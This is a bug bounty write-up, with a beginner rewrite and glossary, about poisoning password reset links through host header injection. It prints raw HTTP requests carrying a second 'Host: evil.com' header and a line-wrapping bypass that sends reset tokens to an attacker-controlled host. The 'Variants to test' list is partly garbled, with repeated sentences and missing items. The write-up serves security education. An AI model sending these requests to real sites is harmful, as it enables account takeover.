Host Header Injection Lead To Account Takeovers
The password reset form built the reset link using the Host header, so an attacker could inject a different host and receive the victim's reset token when the link was clicked. This allowed account takeover.
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a private pentest program, and the author focused on the password reset flow. Registration only required an email address: the application did not ask for a complete profile such as a phone number before the account could be used. That matters because it lets a researcher create an account quickly and then exercise the reset flow against it.
The reset link the application sends is built from three parts:
- Host
- Path
- Token
The goal was to reach the token, which is what the author wanted in order to take over the account. The idea was to make the application build the host part of that link from a value the attacker controls, so that when the victim clicks the link the token is sent to the attacker's infrastructure instead of the real site.
The author frames this as the same scenario as an earlier write-up, One Click To Account Takeover, where a parameter in JSON was used to change the host of the reset password link. Here the objective is the same, access to the user token, but the injection point is different: HTTP headers rather than a body parameter.
Setup
- A private pentest program with a registration form that accepts an email address only.
- An account registered with the researcher's own email address.
- A proxy to capture and modify the reset request.
- The author notes that this class of bug cannot be automated: you have to create an account and then ask for a reset password link, so the work is manual. Rate limiting can make it harder still, because it may prevent tools from being used for fuzzing.
- Tools the author recommends for fuzzing headers and parameters are Param Miner and FFUF, with wordlists from the SecLists BurpSuite-ParamMiner list.
Finding it
The author describes host header injection as a well-documented issue, pointing to the Acunetix and PortSwigger material, and lists two important uses of it: cache poisoning and reset password poisoning. Cache poisoning is set aside as a longer story; the focus here is reset password poisoning.
The detection approach is to request a password reset, capture the request, and test common headers to see whether the host of the generated reset link changes. In this case it did.
Exploitation
Step 1: Capture the baseline reset request
The researcher submits the reset form and captures the resulting request:
POST /reset-password HTTP/1.1Host: Site.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://Site.comContent-Type: application/x-www-form-urlencodedContent-Length: 147Origin: http://Site.comConnection: closeUpgrade-Insecure-Requests: 1_token=[redacted]&name=arman&email=[redacted]
The request is a form-encoded POST to /reset-password. The body carries a _token, a name and the email address the reset should be sent to. The Host header is the legitimate site, and the Referer and Origin headers also point at it.
Step 2: Add a second Host header
The first attempt is to inject one of the author's common list headers, adding a second Host header:
POST /reset-password HTTP/1.1Host: Site.comHost: evil.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://Site.comContent-Type: application/x-www-form-urlencodedContent-Length: 147Origin: http://Site.comConnection: closeUpgrade-Insecure-Requests: 1_token=[redacted]&name=arman&email=[redacted]
This returned a 400 status. The duplicate header was rejected at this stage.
Step 3: Bypass with line wrapping
The author's next move is a usual bypass for this position: add line wrapping to the injected header.
POST /reset-password HTTP/1.1 Host: Site.comHost: evil.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://Site.comContent-Type: application/x-www-form-urlencodedContent-Length: 147Origin: http://Site.comConnection: closeUpgrade-Insecure-Requests: 1_token=[redacted]&name=arman&email=[redacted]
With this bypass the response was 200, and the researcher received a reset password link whose host had been poisoned. In other words, the link in the email pointed at the attacker's host rather than the legitimate one, and the token was part of that link. When a victim clicks it, the token appears in the attacker's logs.
Root cause
The host portion of the reset link changed when the injected header was accepted, so the application used an attacker-influenced value. Because the host is attacker-influenced, the generated link can be pointed anywhere. The first attempt with a duplicate Host header returned a 400, but the line-wrapped variant returned a 200 and produced a poisoned reset link. The report does not describe the server or framework involved, so the exact parsing difference that let the wrapped header through is not stated.
Impact
An attacker who can trigger a reset request can cause the reset email to contain a link pointing at a host the attacker controls. When the victim clicks the link, the token is delivered to the attacker, who can then take over the account. The author describes this as taking over other user accounts with one click. The attack depends on the victim clicking the poisoned link.
Fix
The report does not describe a fix or a vendor response. The measure implied by the finding is to stop deriving the reset link's host from the request: build it from a fixed, configured value, or validate the Host header strictly against an allowlist before it is used to construct any link.
Variants to test
- Duplicate
Hostheaders: send the legitimate host first and an attacker host second. A positive result is a reset email whose link points at the attacker host. - Line-wrapped or otherwise obfuscated
Hostheaders: if the plain duplicate is rejected with a 400, try wrapping as shown above. A positive result is a 200 response and a poisoned link. A positive result is the same change of host in the delivered link. A positive result is the application using the attacker-supplied authority when building the link. - Cache poisoning of the reset page, which the author mentions as the other major use of this vulnerability but does not cover here. A positive result is a cached response served to other users that contains the attacker's host.
What happened, in plain words
A security researcher was testing a website as part of a private pentest program. A pentest program is an arrangement where a company gives a tester permission to attack its own systems and report what breaks, usually in exchange for a reward or a fee. The researcher focused on the password reset flow: the part of a site where you type your email address and the site emails you a link that lets you set a new password.
The researcher found that the site built that reset link using a value the visitor could influence, specifically the Host header. A header is a small line of extra information that a browser sends along with every request to a website, and the Host header is the one that says which website the browser is trying to reach. By adding a second, fake Host header to the reset request, the researcher tried to make the site build the reset link pointing at a server the researcher controlled instead of the real site. The first attempt was rejected. A slightly different way of sending the same fake header got through, and the reset email then contained a link pointing at the attacker's server. When a victim clicks that link, the secret token inside it lands in the attacker's logs.
This write-up walks through the same steps the researcher took, in the same order, and explains every concept from scratch.
Background: what the site did and what the researcher wanted
The target was a private pentest program, and the feature in scope was the password reset flow. Registration only required an email address: the application did not ask for a complete profile such as a phone number before the account could be used. That matters because it lets a researcher create an account quickly and then exercise the reset flow against it.
A few terms first, because they come up constantly:
- Application: the website or web service you are using. When this write-up says "the application", it means the software running on the server that handles your requests.
- Account: the record the site keeps about you, tied to your email address and password.
- Password reset flow: the sequence of steps a site offers when you forget your password. You enter your email, the site generates a one-time link, emails it to you, and when you click the link you can set a new password.
- Token: a long random string that acts like a temporary key. In a reset link, the token is what proves to the site that whoever clicked the link is really the person who owns the email address. Anyone who has the token can finish the reset, so the token must stay secret.
The reset link the application sends is built from three parts:
- Host
- Path
- Token
A quick comparison: think of a postal address. The host is the building (for example example.com), the path is the specific office inside the building (for example /reset), and the token is the unique reference number written on the letter that proves you are allowed to collect the parcel. If someone can change the building part of the address while keeping the reference number, the letter with the reference number gets delivered to the wrong building, and the person there can collect the parcel.
The goal was to reach the token, which the author wanted in order to take over the account. The idea was to make the application build the host part of that link from a value the attacker controls, so that when the victim clicks the link the token is sent to the attacker's infrastructure instead of the real site.
Infrastructure here just means servers the attacker runs, such as a small web server or a logging service that records every request it receives.
The author frames this as the same scenario as an earlier write-up, One Click To Account Takeover, where a parameter in JSON was used to change the host of the reset password link. Here the objective is the same, access to the user token, but the injection point is different: HTTP headers rather than a body parameter.
Two more terms from that paragraph:
- JSON: a text format for structured data, looking like
{"name": "value"}. Websites often send and receive data in this format. - Parameter: a named value inside a request. In a form submission,
email=[redacted]is a parameter calledemail. In JSON, the key in a key/value pair plays the same role. - Injection point: the specific place in a request where an attacker puts their own value, hoping the application will use it somewhere it should not.
Setup
- A private pentest program with a registration form that accepts an email address only.
- An account registered with the researcher's own email address.
- A proxy to capture and modify the reset request.
- The author notes that this class of bug cannot be automated: you have to create an account and then ask for a reset password link, so the work is manual. Rate limiting can make it harder still, because it may prevent tools from being used for fuzzing.
- Tools the author recommends for fuzzing headers and parameters are Param Miner and FFUF, with wordlists from the SecLists BurpSuite-ParamMiner list.
What those setup items mean in plain words:
- Proxy: a tool that sits between your browser and the website. Every request your browser sends passes through the proxy first, so you can read it, pause it, edit it, and then forward it. This is how a tester changes a request that a browser would normally send as-is.
- Capture: to record a request in the proxy so you can look at it and modify it.
- Automated vs manual: an automated test is one a tool runs for you, thousands of times per minute. A manual test is one a person performs by hand, one request at a time. This bug needs a real account and a real reset email, so it has to be done by hand.
- Rate limiting: a defence where the server refuses to answer if you send too many requests too quickly. It is like a shop that only lets one customer in per minute. It slows down tools that try many variations quickly.
- Fuzzing: trying many different inputs quickly to see which one causes an interesting change in the response. The word comes from "fuzz testing".
- Wordlist: a file containing many candidate names or values, which a fuzzing tool tries one after another. The SecLists project collects such lists for common testing tasks.
Finding it
The author describes host header injection as a well-documented issue, pointing to the Acunetix and PortSwigger material, and lists two important uses of it: cache poisoning and reset password poisoning. Cache poisoning is set aside as a longer story; the focus here is reset password poisoning.
Host header injection is the name for this whole class of bug: the application trusts the Host header (or a similar header) and uses it to build something security-sensitive, such as a link in an email. Because the header comes from the visitor, the visitor can influence that something.
Cache poisoning is a related trick. A cache is a copy of a page kept by a server or a content delivery network so it can be served faster to the next visitor. If an attacker can make the cache store a poisoned copy, every later visitor gets the poisoned version. The author mentions it but does not go into it here.
Reset password poisoning is the variant used in this report: the attacker makes the reset link point somewhere else.
The detection approach is to request a password reset, capture the request, and test common headers to see whether the host of the generated reset link changes. In this case it did.
Why this approach? Because the only way to know whether the application uses the header is to change the header and look at the resulting email. If the link in the email still points at the real site, the header was ignored. If it points at the attacker's host, the header was used.
Exploitation
Step 1: Capture the baseline reset request
The researcher submits the reset form and captures the resulting request:
POST /reset-password HTTP/1.1Host: Site.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://Site.comContent-Type: application/x-www-form-urlencodedContent-Length: 147Origin: http://Site.comConnection: closeUpgrade-Insecure-Requests: 1_token=[redacted]&name=arman&email=[redacted]
Line by line, in plain words:
POST /reset-password HTTP/1.1is the first line of the request.POSTis the method, meaning "I am sending data to the server"./reset-passwordis the path, the specific page or endpoint on the site that handles resets.HTTP/1.1is the version of the protocol being used. An endpoint is simply a specific address on a server that does one job.Host: Site.comtells the server which site the request is for.Site.comis a placeholder for the real domain name.User-Agent: Mozilla/5.0 ... Firefox/95.0identifies the browser that sent the request. It is normal for every browser to send this.Accept: ...lists the kinds of response the browser is willing to receive, such as HTML pages or images.Accept-Language: en-US,en;q=0.5says the browser prefers English.Accept-Encoding: gzip, deflatesays the browser can accept compressed responses.Referer: http://Site.comsays which page the browser was on when the request was made. It is spelledRefererin the protocol, a long-standing typo that everyone still uses.Content-Type: application/x-www-form-urlencodedsays the body is formatted like a web form, askey=value&key=value.Content-Length: 147says the body is 147 bytes long.Origin: http://Site.comsays which site the request originated from. Browsers add it for cross-site requests and some same-site ones.Connection: closeasks the server to close the connection after answering.Upgrade-Insecure-Requests: 1asks the server to prefer HTTPS if it can.- The body
_token=[redacted]&name=arman&email=[redacted]carries three form fields._tokenis a CSRF token, a value the site puts in the form to prove the form came from the site itself and not from another site.nameis a display name.emailis the address the reset should be sent to. In this test the researcher used their own address,[redacted], so the email arrives in the researcher's own inbox.
The request is a form-encoded POST to /reset-password. The body carries a _token, a name and the email address the reset should be sent to. The Host header is the legitimate site, and the Referer and Origin headers also point at it.
Why capture the baseline first? Because you need to know what a normal request looks like before you change anything. If you change a header and the response changes, you need the original to compare against.
Step 2: Add a second Host header
The first attempt is to inject one of the author's common list headers, adding a second Host header:
POST /reset-password HTTP/1.1Host: Site.comHost: evil.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://Site.comContent-Type: application/x-www-form-urlencodedContent-Length: 147Origin: http://Site.comConnection: closeUpgrade-Insecure-Requests: 1_token=[redacted]&name=arman&email=[redacted]
What changed compared with the baseline: there are now two Host lines, Host: Site.com and Host: evil.com. Everything else is identical. evil.com is a placeholder for a domain the attacker controls.
Why try this? Because the protocol expects exactly one Host header. If the application reads the first one and a later component reads the last one, or vice versa, the two can disagree about which site the request is for. That disagreement is the whole basis of host header injection. The attacker hopes the part of the application that builds the reset link reads evil.com while the part that routes the request still reads Site.com.
This returned a 400 status. The duplicate header was rejected at this stage.
A status code is the three-digit number at the start of the server's reply. 200 means success, 400 means the server considered the request malformed and refused it. So the duplicate header was rejected at this stage.
Step 3: Bypass with line wrapping
The author's next move is a usual bypass for this position: add line wrapping to the injected header.
POST /reset-password HTTP/1.1 Host: Site.comHost: evil.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://Site.comContent-Type: application/x-www-form-urlencodedContent-Length: 147Origin: http://Site.comConnection: closeUpgrade-Insecure-Requests: 1_token=[redacted]&name=arman&email=[redacted]
What changed compared with the previous attempt: there is now a space after HTTP/1.1 and before Host: Site.com, and the two Host lines are run together on the same physical line. This is what the author calls line wrapping. The idea is that different pieces of software in the chain (a proxy, a load balancer, the application server) may split the request into headers in slightly different ways. If one of them sees a single Host header with the value Site.com and another sees a Host header with the value evil.com, the request can pass the front-end check and still deliver the attacker's value to the back end.
A load balancer is a server that sits in front of several application servers and spreads requests between them. It is one of the places where parsing differences can appear.
With this bypass the response was 200, and the researcher received a reset password link whose host had been poisoned. In other words, the link in the email pointed at the attacker's host rather than the legitimate one, and the token was part of that link. When a victim clicks it, the token appears in the attacker's logs, which is enough to complete the reset and take over the account.
Why does the token appearing in the attacker's logs matter? Because the token is what the attacker needs to complete the reset. If the attacker has the token, the attacker can use it to take over the account.
Root cause
The host portion of the reset link changed when the injected header was accepted, so the application used an attacker-influenced value. Because the host is attacker-influenced, the generated link can be pointed anywhere. The first attempt with a duplicate Host header returned a 400, but the line-wrapped variant returned a 200 and produced a poisoned reset link. The report does not describe the server or framework involved, so the exact parsing difference that let the wrapped header through is not stated.
In everyday terms: the application should have a fixed answer to "what is my own address?" written in its configuration, the way a shop has its address printed on its letterhead. Instead, it asked the visitor "what is my address?" and believed the answer.
Impact
An attacker who can trigger a reset request can cause the reset email to contain a link pointing at a host the attacker controls. When the victim clicks the link, the token is delivered to the attacker, who can then take over the account. The author describes this as taking over other user accounts with one click. The attack depends on the victim clicking the poisoned link.
Two conditions are worth spelling out, because they decide whether the bug is exploitable in practice:
- The attacker must be able to ask the site to send a reset email to the victim's address. Many sites allow this without any login, because the whole point of a reset is that you have forgotten your password.
- The victim must click the link in that email. A careful user who notices that the link points at an unfamiliar domain might not click, which is why the domain in the link matters.
Fix
The report does not describe a fix or a vendor response. The measure implied by the finding is to stop deriving the reset link's host from the request: build it from a fixed, configured value, or validate the Host header strictly against an allowlist before it is used to construct any link.
An allowlist is a list of values that are explicitly permitted, with everything else refused. Here it would mean: only build a link if the Host header is exactly one of the site's own known domain names.
Variants to test
- Duplicate
Hostheaders: send the legitimate host first and an attacker host second. A positive result is a reset email whose link points at the attacker host. - Line-wrapped or otherwise obfuscated
Hostheaders: if the plain duplicate is rejected with a 400, try wrapping as shown above. A positive result is a 200 response and a poisoned link. A positive result is the same change of host in the delivered link. A positive result is the application using the attacker-supplied authority when building the link. - Cache poisoning of the reset page, which the author mentions as the other major use of this vulnerability but does not cover here. A positive result is a cached response served to other users that contains the attacker's host.
A few of those terms, briefly:
- Obfuscated: written in an unusual but still valid way, so that one piece of software accepts it while another interprets it differently.
- Forwarding header: a header such as
X-Forwarded-Hostthat a proxy adds to tell the application which host the original visitor asked for. If the application trusts it without checking, it becomes another injection point. - Absolute-URI request target: instead of
POST /reset-password, the request line contains the full address, such asPOST http://Site.com/reset-password. Some servers accept this form, and the host inside it can disagree with theHostheader. - Authority: the host and optional port part of a URL, for example
Site.cominhttp://Site.com/reset-password. - Front end and back end: the front end is the server or proxy that first receives the request; the back end is the application server behind it that does the real work. Parser discrepancies between the two are a common source of this class of bug.
Glossary
- Absolute-URI request target: a request line that contains the full URL instead of just the path.
- Account: the record a site keeps about a user, tied to an email address and password.
- Allowlist: a list of values that are explicitly permitted, with everything else refused.
- Application: the website or web service running on a server that handles requests.
- Authority: the host and optional port part of a URL.
- Automated test: a test run by a tool without a person doing each step by hand.
- Back end: the application server behind a proxy or load balancer that does the real work.
- Cache: a stored copy of a response kept so it can be served faster to later visitors.
- Cache poisoning: making a cache store a malicious response so later visitors receive it.
- Capture: recording a request in a proxy so it can be inspected and modified.
- CSRF token: a value placed in a form to prove the form came from the site itself and not from another site.
- Endpoint: a specific address on a server that performs one job.
- Forwarding header: a header such as
X-Forwarded-Hostadded by a proxy to tell the application which host the visitor originally asked for. - Front end: the server or proxy that first receives a request.
- Fuzzing: trying many different inputs quickly to see which one causes an interesting change.
- Header: a line of extra information sent with an HTTP request or response.
- Host header: the header that says which website the request is for.
- Host header injection: a bug where the application trusts the
Hostheader (or a similar one) and uses it to build something security-sensitive. - HTTP: the protocol browsers and servers use to exchange requests and responses.
- Infrastructure: the servers an attacker runs to receive and log traffic.
- Injection point: the place in a request where an attacker puts their own value.
- JSON: a text format for structured data, using key/value pairs.
- Load balancer: a server that spreads incoming requests across several application servers.
- Manual test: a test performed by a person, one request at a time.
- Obfuscated: written in an unusual but still valid way so different software interprets it differently.
- Password reset flow: the steps a site offers when a user forgets their password.
- Path: the part of a URL after the host that names a specific page or endpoint.
- Pentest program: an arrangement where a company authorises a tester to attack its own systems and report the findings.
- Proxy: a tool that sits between browser and server so requests can be read, paused and edited.
- Rate limiting: a defence that refuses requests sent too quickly.
- Reset password poisoning: making a password reset link point at a host the attacker controls.
- Status code: the three-digit number at the start of a server's reply, such as 200 for success or 400 for a malformed request.
- Token: a long random string that acts as a temporary key, here proving the holder is allowed to reset the password.
- Wordlist: a file of candidate names or values that a fuzzing tool tries one after another.